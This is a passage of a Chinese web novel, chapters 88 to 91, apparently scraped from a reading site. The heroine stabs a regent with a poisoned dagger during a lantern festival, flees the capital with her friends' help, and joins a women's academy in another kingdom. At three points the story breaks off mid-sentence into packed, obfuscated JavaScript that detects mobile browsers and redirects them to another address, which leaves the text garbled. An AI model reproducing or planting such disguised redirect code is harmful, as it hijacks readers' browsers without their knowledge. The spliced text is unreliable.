沐毓露还是不肯喝，耍赖地把头埋进被子里，只露出小半张滚烫的脸：“不要，实在太苦了，我真的喝不下，你就算把全京城的糖葫芦都给我买来我也喝不下。” 她这般胡搅蛮缠，穆衾寒倒也没生气，而是很有耐心地继续哄她：“那这样好不好，你只要乖乖喝药，就可以向我提一个要求，不管什么要求我都会满足你。” 沐毓露听罢感兴趣地眨了眨眼睛，偷偷掀起一点眼睫，从被沿的缝隙里觑他，“真的？不管我提什么要求你都可以满足？” 穆衾寒学着她的样子歪着脑袋看她：“在朱雀国还没有我办不到的事情，你尽管提。” 机会来了！ 这可不就是千载难逢的机会！ 沐毓露一下子从被子里跳出来：“我想参加京城的元宵灯会！” 她抓住穆衾寒的胳膊，讨好地晃了晃，可怜巴巴地道：“去年的庙会我被罚禁足，都没有机会参加，今年的灯会我不想再错过了。” 穆衾寒凝视着她，眼中含着笑意，与他对视的一瞬间沐毓露突然有些恍惚。 此刻他的眼睛比烛火还要明亮，目光比窗外的雪更加柔和，这样的眼神她曾经在三州堇璱的眼睛里也看到过。 她以为这样的眼神已经称得上深情了，可一个人是怎么做到用这样深情的目光注视着她的同时，心里还分了一块地方留给另一个人？ 一个人真的能同时爱上两个人吗？ 她不理解。 穆衾寒自然将她这一瞬的恍惚也收入了眸底，他还以为她是看自己看得愣了神，抬手宠溺地刮了刮她的鼻子，“你就提一个这么简单的要求？可不要浪费了这次机会。” 88. 第88章 放心吧，机会难得，她绝没有浪费，沐毓露在心里暗暗地想。 不过激动归激动，她没有耽误正事，依旧卖着可怜：“我没有别的要求了，就只有这一个愿望。” 说完她思忖了一下，又摇了摇穆衾寒的胳膊，小心翼翼地问：“可以只有我们两个人吗？不带别人好不好？” 不待穆衾寒开口说话，她连忙竖起一根手指道：“就这一次，你单独陪陪我。” 鼓起勇气说出这个请求后，她咬住下唇不吭声了，眨巴着眼睛期待地等着他的回应。 穆衾寒原本有些犹豫，他同柳闻霜成亲没多久，第一个元宵佳节就不能陪她度过，对她未免有些不公平。 可是看到沐毓露如此期待的眼神，他又有一些动摇，随即想到其实他和沐毓露成亲也没有多久，这也是他和她度过的第一个元宵节。 况且这段时间她不是掉进湖里就是感染风寒，身子到现在都没好全，他的确是该多陪陪她的。 想到这里他无奈地叹了口气，一手稳稳地托着药碗，另一只手用汤勺盛药，将药汁送到她的嘴边，“好，我答应你，现在可以乖乖喝药了吧？” 沐毓露雀跃地点了点头，然后微微探身向前，皱着眉张开嘴，将那勺苦涩的药汁含了进去。 穆衾寒又喂她喝了两口，她就皱紧了眉怎么也不肯喝了，并且又开始耍无赖：“我已经喝过药了，你可没说必须要把这碗药都喝完的。” 穆衾寒将药碗交给守在一侧的檀香，让沐毓露乖乖躺下，亲自为她盖好被子，“好了，不喝就不喝吧。吃了这药之后是要盖好被子睡一觉发汗的，好好休息吧，养好了病才有精神去逛灯会。” 沐毓露躺在床上乖巧地点了点头，然后目送着他转身离去，待房门外的脚步声彻底消失之后，她掀开被子疲惫地坐了起来，冲檀香招了招手。 檀香立刻将药碗端了过来，递到了她的手上，她接过碗皱着眉头将药一饮而尽，喝完之后咂了咂舌：“这药可是真的苦呀。” 说着她回想起自己方才冲穆衾寒撒娇时说药苦的语气，一阵恶心从胃里翻涌上来，让她差点把刚喝下去的药又吐了出来。 檀香连忙上前拍着她的后背给她顺气，“这药再苦也得喝，喝了您的病才能好，若是这病拖到元宵都没有好，您的计划可就没办法实施了。” 沐毓露咳了两声，点了点头，然后嘱咐檀香：“元宵节那晚没有宵禁，进出城门的商贩会有很多，到时候我会差你出去买东西，你出了城门就同默合汇合，她告诉过你路线了吧？” 檀香也点了点头，“她给了我一幅路线图，我知道该怎么走，可我担心您，万一……” 沐毓露叹了口气，躺在床上闭上眼睛：“我们已尽人事，接下来的但听天命吧。” 她的声音虽然虚弱，落在檀香的耳朵里却充满了力量：“我豁出命去赌这一把，就不信上天如此不公。” 转眼之间便到了元宵佳节，穆衾寒果然信守承诺，在那一天单独带着沐毓露出了门。 此刻街上张灯结彩，街边几乎每一个铺子的门口都悬挂着简单的花灯，更有好几个横跨街道的巨型灯棚，将黑夜映照得亮如白昼。 舞龙灯耍狮子的人夹杂在人群里，空气中弥漫着糖人的甜香气息，混合着爆竹燃尽后的淡淡硝烟味，闻着便是人间烟火的味道。 今日的穆衾寒着一身低调常服，少了些平日的冷肃威严，多了几分清贵儒雅，他极其自然地牵着沐毓露的手，将她微凉的手指完全包裹其中，仿佛生怕她被汹涌的人潮冲散。 两个人随着人流缓缓移动，璀璨灯火映在他深邃的眼眸里，跳跃着细碎的光，那温暖的光芒让他平日里总显得冷硬的轮廓也柔和了几分。 他偶尔会侧过头，将某处精巧的花灯指给她看，或是低声向她解释某个杂耍的门道。 沐毓露依偎在他的身边，仰头看着流光溢彩的灯影，时不时发出惊叹，在听见穆衾寒为她介绍这些花灯的寓意时，她的眼中还会露出恰到好处的崇拜之意，脸上也始终挂着被节日气氛感染的微笑。 也是这个时候她才知道，原来扮演一个被宠溺被满足的小女子居然这么难，不过才一会儿的工夫，她的脸都要笑僵了。 抬头望了一眼天色，她实在不想继续表演了，于是扯了扯穆衾寒的衣袖，指着远处河畔一片星星点点的光芒，雀跃地道：“王爷，你瞧那边！是有人在放河灯吗？” 穆衾寒顺着她指的方向望过去，见到河边的确聚集了不少男男女女，正将点燃的花灯放入水中，点点暖黄的光晕顺水漂流，汇成了一条流动的光带，煞是好看。 “你也想去放河灯吗？听说把心愿写在河灯上，让它随水流走，愿望就能实现。”穆衾寒转过头来垂眸看她。 这话从穆衾寒嘴里说出来令人有点难以置信，平时的他绝不会说这种话，显然今天是在哄她。 沐毓露装出一副很惊喜的样子，随穆衾寒一起去买了两盏河灯，将愿望写在灯上，然后又拉着他避开人潮汹涌的主街道，沿着河岸朝下游人迹稀少的方向走去。 喧嚣声渐渐被抛在身后，耳畔只剩下河水汩汩流淌的轻响，沐毓露就这样拉着他，往更加僻静的地方走。 行至一处远离灯火的河湾拐角处时，她终于停下了脚步。 穆衾寒这时在身后问她：“为什么要避开人群？” 她有些紧张地咽了口唾沫，然后带着微笑转过头来，扬了扬手中的河灯，“因为我想和你一起安静地许愿，不想被别人打扰呀。” 穆衾寒倒没有怀疑什么，似乎已经完全信任了她，他抬手轻轻拂开她脸颊上被风吹乱的发丝，“这里的确安静。” 紧接着他问：“你想许些什么愿望？” 沐毓露微微侧过头去，避开他的目光，咬了咬下唇，一副娇嗔的模样：“不告诉你。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708238|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >穆衾寒笑了笑，他微微一动，指尖顺着她的脸颊轮廓滑下，停留在她的下颌，然后轻轻抬起。 沐毓露一怔，没想到他会在这时突然有这样一个动作，这突如其来的举动吓得她浑身僵硬，连花灯都拿不稳了。 手中的那一盏小小的素白莲花灯坠落的同时，她伸手想要去捡，却被他一把揽住了腰。 他俯下身，高大的身影将她完全笼罩，瞳孔里清晰地映出她带着一丝惊惶的脸。 只不过此刻她脸上掩也掩不住的惊惶被他解读为了害羞，他又笑了笑，试探着离她更近了些。 他的气息拂过她的唇畔，她惊慌地向后仰了仰身子，但并没有推开他的意思，于是他更紧地将她拥在怀里，吻上了她的唇。 这次沐毓露没有反抗，在他微凉的唇覆上来的一瞬间，她颤抖着闭上了眼。 好吧。 这样也不是不可以。 她在心里叹了口气，脸上的惊惶被决绝所取代，下一秒她从袖中掏出匕首，毫不犹豫地刺进了他的胸膛。 穆衾寒吃痛地睁开了眼，一把将她推开。 她踉跄着后退了好几步才稳住身形，没有同他废话，直截了当地道：“匕首上淬了毒，你若还想活命就不要催动内力，留在原地等他们前来寻你。” 穆衾寒一把将匕首拔出，捂住伤口试探着催动了一下内力，刚一催动便发现经脉之间仿佛有无数蚂蚁在游走啃噬，于是知道她所言非虚。 她竟然当真在匕首上淬了毒。 直直地注视着她，他的脸上浮现出心痛的表情。 她方才下手时毫不留情，几乎将整个匕首都没入了他的胸膛，而且这一刀准确地捅在了要害处，就算匕首上没有淬毒，此刻的他也毫无反击之力。 “我不再对你抱有幻想了，与其等你放我离开，不如我自己动手。”月光下，沐毓露的脸色比平时苍白了几分，但她的表情坚韧，不再像之前在他面前表现出的那般柔弱。 穆衾寒逐渐支撑不住，重重地跪倒在冰冷潮湿的河边碎石上。 他一只手死死地捂住胸膛上不断涌出温热血液的伤口，另一只手撑在地上，月白色的锦袍迅速被血渍染红，这让他显出前所未有过的狼狈。 待他艰难地将头抬起来时，只见到沐毓露奔逃离去的背影。 冰冷潮湿的河风被她抛在了身后，她提着裙摆离开这里，重新汇入人流。 尽管此刻她的心脏正在擂鼓般地跳，但长街之上人流众多，她不能暴露出一丝异样，若是现在就被人发现不对劲，那她连城门都走不出去就会被人抓回王府。 垂着头跟随人流向前移动，她装作若无其事的样子，眼角却不动声色地观察着四周。 以她对穆衾寒身边那些侍卫的了解，过不了多久他们就会发现情况不对，找到受伤的穆衾寒也不过是片刻之间的事。 她必须要抓住这片刻的时间逃出京城。 89. 第89章 沐毓露神色平静，脚下的步伐却很快，没过多久她就来到了城门口。 出城的人排着队，接受着例行的检查，今日是元宵佳节，往来进出的商贩很多，还有许多返乡探亲的人，而值守城门的守卫也大多过节去了，检查的人比平时少了一些，搜查得也就松懈了一些。 沐毓露排在队伍中，手心沁出了冷汗，脸上却尽力维持着平静。 前面的人一个个通过，她发现盘查果然松散，守卫的目光更多是落在行囊而非人脸上。 “下一个，快点儿。”很快就轮到她了，守卫朝她招了招手，声音里带着一丝节日里被迫值勤的不耐烦。 沐毓露低头上前，将声音放得轻柔：“我是回家探亲的，没带什么行李。” 那守卫随意地瞥了她一眼，似乎是觉得她有些眼熟，但一时又想不起来，目光在她的身上停留了一会儿之后，他挥挥手让她离开：“走吧走吧。” 她在心里松了口气，夹在人群当中颇为轻易地混了出去。 此前默合与她通信时和她约定过路线，出城之后一路向北走，城外三里处的老槐树下会有接应的马车。 出了城门之后，她深吸一口气拔腿就朝约定的方向跑。 与此同时城门口炸开一道声音：“不对，我想起来了！她是定远王妃，快点拦住她，别让她跑了！” 听到那声音响起的一瞬间，她加快了脚下的步伐，不要命地往城外跑。 好不容易筹谋来了离京的机会，她绝对不能在即将成功的时候被抓回去。 那个想起她身份的城门守卫离她最近，很快就追了上来，但同时也碍于她定远王妃的身份，那守卫不敢直接触碰她，只敢一把攥住她的衣袖。 望一眼身后的追兵，她毫不犹豫地将外裳一脱，趁那守卫手忙脚乱不知是该继续拦她还是闭上眼睛的时候，将手中宽大的外裳一把罩在了他的头上，然后转过身继续朝约定好的方向狂奔。 她知道自己方才的举动只能暂时牵绊住那守卫一小会儿，还有更多的追兵就在身后，而且这些还只是城门的守卫，等到王府的追兵赶来，她才是真的无路可逃了。 前方的道路越来越黑，身后的脚步声也越来越近，她没命地狂奔着，心脏也在疯狂地跳动，像是下一秒就要从胸膛里蹦出来了。 春节过后的一个月，正是一年里最冷的时候，她脱了外裳在寒风中逃命，分明浑身的血液都像是冻结了，却一点也不觉得冷。 虽然她已经拼尽了全力奔逃，却终究跑不过身后的追兵，没过多久他们就追了上来。 就在其中一人伸出手要擒住她时，路旁稀疏的树林中有一人飞扑而出，一剑划伤了那人的手臂，逼得他收手后退。 一道熟悉的身影挡在她的面前，替她拦住了身后的追兵。 沐毓露惊讶地望着她：“默合？才半年的时间你就学会了使剑？” 与此同时檀香也从林中钻了出来，牵起沐毓露的手就要带她走，“方才默合姑娘带我认了路，王妃你随我来，我知道马车在哪里。” 默合在追兵们的刀光之间游走，素色衣裙上很快绽开几道血痕，避开一次攻击后，她回首望了沐毓露一眼：“心云在马车上等你，我来拦住他们，你快点走！” 沐毓露自然不放心她，城里的追兵可不止这些守卫，很快王府的侍卫也会追来，默合一人如何应付得了？ 但她也知道此刻不是犹犹豫豫耽误时间的时候，在这个紧要关头若是她犹豫不决，那她们三个人一个都走不了。 最后望了默合一眼，她攥紧檀香的手，和她一起跌跌撞撞地继续跑。 檀香拉着她钻入了林中，在林木间不停地穿梭，然而两人还没有跑多久，就听见身后传来了马蹄声。 沐毓露心中一紧，转过头和檀香对视了一眼，她们两个人都知道，这是王府的侍卫追来了。 其实猜也知道，默合一人拖住城门的守卫已属勉强，怎么可能拦得下装备精良的王府侍卫，而她们两个人也不可能跑得过四蹄的马。 马蹄声急促密集，踏碎了林间的寂静，正朝着她们的方向极速包抄而来。 沐毓露猛地刹住脚步，拉着檀香躲到了一棵粗壮的树干后，下一秒那些侍卫就将她们包围了起来。 她们奔逃的身影太过显眼，若是不立马藏起来，恐怕现在就已经被擒住了。 沐毓露和檀香躲在树后大口地喘气，月光吝啬地透过枝叶缝隙，在她们的身上投下斑驳破碎的光影，前方隐约可见林木稀疏的开阔地带，心云的马车就停在那里。 “王妃，请随我们回府。”侍卫的声音在马上响起，语气恭敬，语声却极冰冷。 沐毓露知道他们一定是发现受伤中毒的穆衾寒了，若是被捉回去，她大概率死路一条。 轻轻地推了推檀香，她低声道：“等下我随他们回去，你继续藏在这里，待我们走远之后再和心云她们一起离开。” 檀香不敢吭声，只是一个劲儿地摇头。 这时数道撕裂空气的尖啸声响起，几支弩箭精准地钉入她们藏身的树干，显然他们已经知道了沐毓露的藏身之处，这是他们对她最后的警告。 逃不掉了。 她们已经被追兵包围，此刻虽然藏身在树后，但其实已经暴露在了弩箭的射程之内，继续往前跑只会成为他们的活靶子。 现在的她可不是什么王妃，而是刺杀朱雀国摄政王的逃犯。 沐毓露背靠着冰冷的树干，闭上眼睛长长地吐了一口气，松开檀香的手，认命地从树干背后走了出来。 就在她走出来的一瞬间，一声极其轻微的声响从她头顶传来，她下意识抬头去看，一下子便对上了一双好看的眼。 那是三州堇璱的眼睛。 她的步伐一下就顿住了，整个人僵在了原地。 昨晚才下了一场大雪，此刻正是最冷的时候，但三州堇璱仍然穿着他们初见时的那一身单薄粉衫。 他就站在她们藏身之树的树梢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16713388|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上，质地轻盈的袍袖在夜风中猎猎翻飞，将他衬得如同一道虚幻的影，仿佛随时都会乘风而去。 “真的是你吗？”沐毓露恍惚地问。 眼前之人身材颀长，包裹在流动的粉色云霞般的衣衫中，却丝毫不显女气，反而有一种难以形容的飘逸洒脱。 这世上能将粉衫穿出如此气度的男子，除了三州堇璱还能是谁？ 那些侍卫自然也看呆了眼，不可置信地注视着那个光明正大出现，如同鬼魅般站在树枝上的人。 半年多以前他们可是亲眼见到三州堇璱身中数箭坠落悬崖的，那样重的伤势，那样高的悬崖，他怎么可能生还？ 然而此刻三州堇璱就是活生生地站在他们眼前，他不仅活着回来了，而且武功还更胜从前。 他们这么多人，竟然无一人看清他是何时抵达，又是如何出现的。前一瞬树冠上还只有摇曳的暗影，下一瞬他就已经悄无声息地立在了那根纤细的枝头。 那一根树枝甚至没有因为他的重量而显出一丝弯折，仿佛他并不是踩在树枝上，而是借着无形的清风，悬浮于月华之中。 他们当中有人不禁开始怀疑，难道那日三州堇璱其实已经死了，此刻出现在他们眼前的真的是一个能够飘在空中的鬼魂？ 三州堇璱好像没有看到他们一样，只是垂眸注视着沐毓露，然后轻轻地回了一句是我。 沐毓露捂住嘴喜极而泣，为首的侍卫长却是怒不可遏。 三州堇璱摆明了没有将他们放在眼里，他命身后的侍卫拉弓搭箭严阵以待，但在三州堇璱眼中恐怕他们只是一排萝卜白菜。 他忍受不了这样的蔑视，也顾不得会不会误伤沐毓露了，反正她伤了王爷，即便活着回去也是朱雀国的钦犯，于是当即发出射箭的指令，下一秒几十支箭弩同时朝他们三人所在的方向射去。 便在这时树梢上那片粉色的云霞骤然变得模糊，三州堇璱从高高的枝头无声滑落，如同拂去尘埃般将那些箭矢尽数拂落，整个过程轻盈优雅，他甚至都没有拔出手中的剑。 拂落箭雨之后他旋身来到沐毓露身侧，“我拦住他们，你继续往前跑，心云在前面等你。” 沐毓露仍旧担心着默合的安危，不放心地望了一眼来时的路，“方才默合在前面拦下了第一波追兵，我担心她应付不过来。” 此时又有一波箭雨袭来，三州堇璱毫不费力挥剑格挡，还有空同沐毓露说话：“你放心，我把眼前这些人处理掉就去接应她，你先走。” 什么叫把眼前这些人处理掉？语气轻飘飘的好像真当他们是萝卜白菜。侍卫长在心中呐喊，指挥着身后的人随他一起冲向三州堇璱。 沐毓露知道不能再耽搁了，她一把攥住三州堇璱的衣袖，“你听好了，我会一直等你，这次不要让我等太久。” 两人的目光只是如蜻蜓点水般在月光下轻轻一碰，瞬间他们就明白了彼此的心意，无须继续多言，沐毓露松开手，转身和檀香一起奔向停在林外的马车。 90. 第90章 时隔半年，第二次逃出王府，她成功了。 和心云一起进入玄武国境内的时候，望着与朱雀国风格不大一样的建筑，注视着街上来来往往的人群，她产生了一丝不真实的感觉。 真的就这样逃出来了么？ 离开了朱雀国，远离了穆衾寒，她是不是就摆脱了前世的命运？ 命运没有告诉她答案，只是一刻不停地推着她继续往前走。 她终于见到了那间传说中只收女弟子的学堂，也见到了传说中博学广识无所不知的徐在野。 心云和默合出发前告诉过徐在野她们回去是要做什么，因此在见到沐毓露的时候她一点也不惊讶。 她告诉沐毓露，她愿意收留她，是因为她看到了齐知秋的信，知晓了她在朱雀国的大部分经历，她感佩于她的勇气，更欣赏她在嫁入王府前放手给心云默合自由的胸襟。 不过她依然有一个条件，那就是沐毓露要在一个月内通读玄武国的史书，一个月后她会亲自考核她，倘若考核不通过，她依然要收拾包袱滚蛋。 沐毓露立马就答应了下来。 她能够从沐府还有王府这样的鬼地方死里逃生，读几册史书有什么难的？ 何况玄武国的历史相当有趣，也是在读了这些史书之后她才知道，原来姜望舒虽然是玄武国第一任女君，但是在她之前曾有过数位太后或是皇后摄政。 若非玄武国的朝堂上曾出现过这许多女子的身影，姜望舒是否还会有这样的雄心壮志从诸多皇子中杀出一条登基之路，登基之后那些老臣是否会像现在这般闭嘴闭得这么快，倒未可知了。 接下来这一个月，沐毓露不是蹭徐在野的学堂听课，就是手不释卷地读着史书，在这样充实的日子里时间过的飞快，很快就到了考核的那天。 当天徐在野和沐毓露在书塾相对而坐，她只问了沐毓露一个问题： 纵观古今之史，她创建一个只有女子的学堂，究竟所求为何？ 沐毓露注视着她的眼睛，也只回答了她一句话：“让女子不再无意识地伤害女子。” 徐在野怔了怔，望向沐毓露的眸光微动。 明媚的天光从敞开的窗户透进书塾，映照在两人身上，她们在这如梦似幻的光影中长久地注视着彼此。 过了好一会儿，徐在野才轻声道：“详细说说吧。” 于是沐毓露将她生命中出现过的女子讲述给她听，她向她提到自己的亲妹妹沐晚意，提到她的母亲沐昭氏，自然也提到沐昭氏的亲妹妹蒲昭氏。 家族中的这些女子好像进入了一个无意识的循环，她一字一句地讲述着她们曾经带给她的伤害，那些在府里冰凉地砖上彻夜不眠的长跪，那些一下又一下落在脸上的巴掌，还有那些出自妹妹和母亲之口的污蔑诋毁。 她们骂她是水性杨花的贱人，而她们身上分明流淌着同样的血脉。 若是在半年以前，她同别人说起这一些经历，恐怕会带着诉苦的口吻，但是如今她的语气里只有沉重的悲伤和一抹庆幸。 尤其是在读过玄武国的史书之后，她才第一次意识到她到底逃出了怎样的命运。 她并不单单是逃离了穆衾寒，更加重要的是，她逃出了家族女子那仿佛被诅咒了一般的悲剧循环。 在穆王府的无数个时刻，她都有可能因为嫉妒或者仇恨成为像母亲一样的人。 如今忆起，仍觉心惊。 最后她说道：“天地之大，不止于闺阁；学问之深，不止于女诫。女子之才，亦可明理、论道、经世，乃至著书立说，开宗立派。但是，这一切的前提，需得女子先团结起来。” “我所读玄武国的史书，朝堂上的女子，她们仿佛与我生活在两个世界。若女子之间不能互相托举，而是世世代代如我的母亲和族妹一般在命运的循环中攻讦同类，那么即便有女子能够跳出这个世界为她们量身定制的囚狱，也会被自己的同类以各种各样的语言诋毁，用各种各样的手段打压，哪里还会有更多的女子见识到天地之大，体悟到学问之深？更不可能有像今日玄武国女君一样的地位与成就。” “只有读书明理，擦亮蒙尘的眼睛，才能跳出那个循环，只有当女子不再伤害女子，才会有更多的女子不必活得那样委屈。” 沐毓露说完了，闭上嘴注视着徐在野，而徐在野也同样沉默地注视着她。 两人相对无言，反倒是巨大屏风后的人传来一声带着欣赏之意的笑。 沐毓露一惊，转头去望，见到一抹明黄色的身影自屏风之后走出。 几乎在见到来人的一瞬间，沐毓露就确定了她的身份。 她一定就是玄武国的女君姜望舒。 因为她从没有在哪个女子身上见到过跟眼前这个女子一样的气度，她缓缓地走过来，分明带着笑意，身上却有一股说不出的威压，好像她什么也不用做，只是站在那里不说话，便没有人敢冒犯她。 这是被权力滋养出来的气质，不是在闺阁后院，也不是在深深宫闱中能培养出来的。 姜望舒走到沐毓露跟前，抬手抚上她的肩膀，然后转头对徐在野道：“老师，这就是你让我今天一定要来书塾的原因？” 说着她仰头哈哈一笑：“原来是让我来亲自看一看你新收的弟子？不错不错，果然是个极妙的人。” 沐毓露听得一愣又一愣。 她管徐在野叫什么？老师？ 她说自己是什么？新弟子？ 徐在野这时候开口对她道：“你可愿意拜我为师？我会尽我所能，将我所学教授于你。” 沐毓露有一瞬的怔然，在姜望舒眼神的示意下，连忙冲她一拜：“弟子愿意！” 徐在野笑了笑，冲她点了点头，然后抬手冲着姜望舒一指，“这位就是方才你口中的玄武国女君，也就是你的师姐。” 沐毓露连忙转过身又要一拜，却被姜望舒拦住：“以后私下里你只用对我行师姐之礼即可，不用行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16718514|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 君王之礼。” 沐毓露望一眼她，又望一眼徐在野，支支吾吾地问：“师姐之礼……是什么？” 徐在野歪了歪脑袋，示意她问姜望舒，姜望舒则用食指在她的鼻尖上一点，“师姐之礼就是每次见到我就要做几道好吃的菜献上来，我可是早就听说过了，我的这位师妹做得一手好菜，连我们玄武国的杨大厨都比不上。如今你既然来了，怎么也得让我尝尝味道吧？” 沐毓露连忙又点了点头，她倒是真没有想到，传说中的玄武国女君私下里竟然是这样亲切随和的一个人。 此后一段时间，徐在野将沐毓露带在她的身边，却并不急着教她东西，而是先让她广泛地了解百家之学。 之前的十几年沐毓露都在深宅后院之中度过，接触到的事物太少，其实并不了解自己喜欢什么或是擅长什么，唯一娴熟的厨艺还是为了穆衾寒去学的。 如今徐在野将她带在身边，让她一天了解一门学问，感兴趣的便多了解几天，若是不感兴趣的，她也不会勉强她。她如此做，为的就是让沐毓露接触并选择她真正想要做的事情。 也是在这个时候沐毓露才知道，原来其野学院比她想象中要大得多，其中所设立的各种术业也极为丰富，其中主要包括了六大类，分别是律学、算学、书学、画学、武学和医学。 心云与默合分别主修的就是算学和武学。 默合倒也罢了，还在沐府的时候就看得出来，她天生力气就比较大，平时话也不多，一看便是能动手就不动口的类型。 但心云有过目不忘的本事，只要是她看过的账簿，不使用算盘就能够把账目对得一清二楚，从前她并没有机会接触这些东西，没想到这倒是她的天赋所在。 再说檀香，她跟随沐毓露在其野学院待了一段时间，没什么格外喜欢的学问，倒是对烹饪产生了极浓厚的兴趣，只要沐毓露下厨，她必定在旁边守着，一边帮忙备菜，一边认真学习，如此，沐毓露一身的好厨艺也算是后继有人了。 时间就这样不疾不徐地流淌着，她们安宁地在学院生活了大半个月，这期间沐毓露面上没有表现出来什么，心里却始终记挂着还未归来的两人。 这期间她不敢出门，既怕穆衾寒的人追到了玄武国来，也怕错过了默合和三州堇璱的消息，只能守在学院默默等待。 这日午后，她温完书准备小憩一下，心云突然半推房门，探了一个脑袋进来，小声地唤了一下她的名字，然后眨巴着眼睛问：“有人找你，要不要见一下呀？” 沐毓露心中一动，她隐隐约约猜到了来人是谁，但是见到默合从心云背后走出来的时候还是忍不住红了眼眶。 “都已经过了一个多月了，你们怎么现在才回来？”她扑过去一把抱住默合，然后上上下下地打量她：“是被追兵缠住了么？受伤了没？” 默合笑着摇头，也就是在这个时候，门被拉得更开了些，心云往旁边一闪，露出藏在她身后的又一道人影。 91. 第91章 门外天光骤然涌入，带着庭院里蓬勃的草木气息，沐毓露抬眼去望，首先见到的是院子里一树喧腾到极致的灼灼桃花，然后看见那满目粉云之下，一道颀长身影正静静伫立。 三州堇璱依旧穿着一身粉霞色的长衫，桃花在他的头顶灼灼盛放，而他站得笔直，像一柄收拢了周遭春意的剑。 心云突然闪身让开的一瞬间，他与沐毓露隔着庭院中的春光毫无预兆地四目相接。 视线相接的刹那，时间仿佛停滞了。 沐毓露的目光里有一丝迟疑，还有一些终于将悬着的心放下了的释然，除此之外又似乎有一些恼怒。 她就这样站在原地目光复杂地看着他，不知道到底在想些什么。 风过庭院，卷起纷扬的落英，在两人之间无声地飘旋，下一秒，沐毓露冲进满院的春光里，扑进了三州堇璱的怀里。 三州堇璱下意识想要揽住她，垂在身侧的手已经抬了起来，却又有些僵硬地悬在了半空中，指尖微微蜷曲着，似乎是不知道该落向何处。 她却是更紧地抱住了他，手臂紧紧环住他的腰身，脸颊则深深地埋在他的胸膛，片刻之后，她抽抽嗒嗒地把眼泪鼻涕一起擦在了他的衣襟上。 三州堇璱被她的举动逗笑了，他悬在半空中的手终于缓缓地落了下来，带着一种小心翼翼的试探，轻轻地搭在了她的肩背上。 心云默合不知道什么时候悄悄溜走了，于是春日午后的庭院里只剩下这两道依偎在一起的身影。 不知过了多久，沐毓露哭够了，将脑袋抬起来想要松开他，却被他更加用力地揉进了怀里。 方才他的动作只不过是试探的轻触，此刻骤然收紧的手臂才是真正的拥抱。 他将她整个人牢牢地锁在怀里，仿佛要将她揉碎了嵌进他的骨血里，仿佛唯有如此才能确定，此刻这一个拥抱是真实存在的，并非一场虚幻的梦。 沐毓露愣了一下，却没有挣扎。 将脑袋重新靠回他的胸膛上，她有些闷闷地道：“第一次见面的时候你把我扔进湖里，还说我不是你喜欢的类型。” 三州堇璱又忍不住笑了笑。 看来这件事情是真的过不去了。 他带着笑意的声音在她头顶响起：“因为那时候我觉得你太好看了，好看得不知道该怎么办。” 沐毓露抗议地抬起头来：“这就是你把我扔进湖里的理由？” 三州堇璱一本正经地回答她：“这就跟看见可爱的小猫小狗忍不住想要吃了它是一样的道理，为了控制住自己的冲动，就只好下意识松开手了。” “以前怎么不知道你这么会狡辩？净说一些歪理。”沐毓露动了动身子，泄愤似的将手捏成拳头捶在他的胸膛上：“你现在见我终于不戴面具了？今天也是为了方便我看清你的表情吗？” 三州堇璱拥着她的力道终于稍稍松懈了一些，但依旧是将她牢牢地圈在怀中，他垂首凝视着她，喉结轻微地滑动了一下：“不是。” 下一秒，他低下了头，微凉的唇轻轻地吻在了她的额心，他的动作极轻极慢，带着一种近乎虔诚的郑重。 沐毓露颤抖了一下，然后闭上了眼。 阳光穿过纷飞的花瓣，在他们贴得很近的身影上投下细碎的光斑，风则卷着花瓣，绕着他们的衣角打转。 他们都不再说话了，就只是这样无言地温存着，静静地感受着彼此的存在，感受着这片刻难得的安宁。 三州堇璱并没有在学院待太久，他来这里只是为了给沐毓露报一个平安，两人相叙之后他便匆匆离开，只留下一句话，说他忙完了手上的事情就会来寻她。 好在如今已经确认了他的安全，沐毓露不用再每天提心吊胆地等待他的消息，而是放宽了心跟随徐在野，听从她的教导，认真地做自己的事。 时间过得很快，转眼又至盛夏，不知不觉间沐毓露已经跟在徐在野身边小半年了。 这半年的时间里，她也算是走南闯北，跟着徐在野访遍了玄武国的名山大川，或是悬壶济世，或是讲经论道，日子过得十分充实。 在天气逐渐由热转凉的时候，徐在野带着沐毓露踏上了归程。 回去的路上她们走得很慢，因为每行至一处庄子或是村落，抑或是一些繁华或不繁华的城镇，徐在野都会停下步伐，带着沐毓露去拜访曾经在其野学院读过书的师姐们。 而那些师姐无一例外，全部都已经嫁人生子，有的甚至接连生了七八个孩子，整个人看起来苍老又疲惫，完全不像曾经在学院意气风发读过书的模样。 她们当中生活得最好的，便是如齐夫人那般嫁给商贾之家或是权贵子弟，凭借着在学院习得的一身本事，在府邸里过着当家主母的生活，相较于嫁给寻常人家还要不停生子的师姐们，她们的日子算是过得相当的好了。 而最令徐在野愤怒的也正是这些人。 